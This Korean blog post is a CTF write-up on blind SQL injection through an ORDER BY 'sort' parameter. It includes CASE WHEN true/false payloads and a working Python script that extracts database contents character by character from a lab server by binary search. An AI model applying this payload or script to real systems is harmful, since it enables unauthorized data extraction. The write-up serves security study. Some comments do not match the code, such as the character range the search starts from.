기억하자. SQL Injection에서는 참/거짓에 따라 달라지는 응답을 확인해야함을.
sort라는 파라미터가 있는걸 봐서 order by에 쓰일 것으로 예상됨
sort 값을 1로 줬을 때
2로 줬을 때
확실하다
order by에서 참/거짓을 이용해보자
case when (조건) then (참일 때) else (거짓일 때) end 구문을 사용할 것이다
참일때 (조건을 1=1로 설정)
거짓일 때 (조건을 1=2로 설정)
거짓일 때는 select 1 union select 2 즉, 구조체가 응답이 된 것이니 정렬이 불가하다 그래서 아무 게시물도 나타나지 않은 것이다
아무튼 차이가 아주 확연하다
이제 조건 부분에 sql 문을 넣어 db 부터 추출하면 될 것이다
자동화를 이용하자
import requests
import urllib.parse
url = "http://ctf.segfaulthub.com:7777/sqli_8/notice_list.php"
cookie = {
'ajs_user_id' : 'null',
'ajs_group_id' : 'null',
'ajs_anonymous_id' : '',
'_ga' : '',
'__ssid' : '',
'_hp2_id.318805607' : '',
'session' : '',
'PHPSESSID' : ''}
def blind_sqli() :
while True :
query = input("SQL문 입력> ")
index_value = "123" #참 거짓 식별
value = binarySearch(query,index_value)
print(value + "\n")
def binarySearch(query, index_value) :
s = 1 #1번째 자리부터 찾기 용
start = 65 #공백(spacebar) 부터 비교 시작
end = 126 #'~'까지 비교
value = ""
while True :
mid = (start + end ) // 2
data = {
"option_val" : 'title',
"board_result" : "1",
"board_search": "%F0%9F%94%8D",
"data_form" : "",
"date_to" : "",
"sort" : "case when " + blind_query.format(query, s, 0) + " then 1 else (select 1 union select 2) end"
}
response = requests.post(url, cookies = cookie, data=data)
if "123" not in response.text : #0보다 큰게 거짓이면 NULL값이므로 종료한다
break
else :
data = {
"option_val" : 'title',
"board_result" : "1",
"board_search": "%F0%9F%94%8D",
"data_form" : "",
"date_to" : "",
"sort" : "case when " + blind_query.format(query, s, mid) + " then 1 else (select 1 union select 2) end" # 띄어쓰기 조심!!!!!!!!!!!!!!!!!!!
}
response = requests.post(url, cookies = cookie, data=data)
if "111" not in response.text : #거짓이면 끝 값을 mid로 바꾼다
end = mid
else :
start = mid #참이면 시작 값을 mid로 바꾼다
if start+1 >= end :
value += chr(end)#만약 start값에 1 더해서 end랑 같거나 크면 end가 답이다.
s+=1 #그리고 다음 자리 찾는다
start = 65 #초기화
end = 126 #초기화
return value
blind_query = "ascii(substr(({}),{},1))>{} "
blind_sqli() #blind_query 시작
추출 완
'웹 모의해킹 스터디 > 과제' 카테고리의 다른 글
서비스 거부 공격 (Denial of Service, DoS) 공격 종류 (1) | 2024.01.31 |
---|---|
[SQL Injection] CTF - SQL Injection Point 4 문제풀이 (1) | 2024.01.26 |
[SQL Injection] CTF - SQL Injection Point 2 문제풀이 (1) | 2024.01.23 |
[SQL Injection] CTF - SQL Injection Point 1 문제풀이 (0) | 2024.01.23 |
[CSRF] CTF - GET Admin 1 문제풀이 (0) | 2024.01.20 |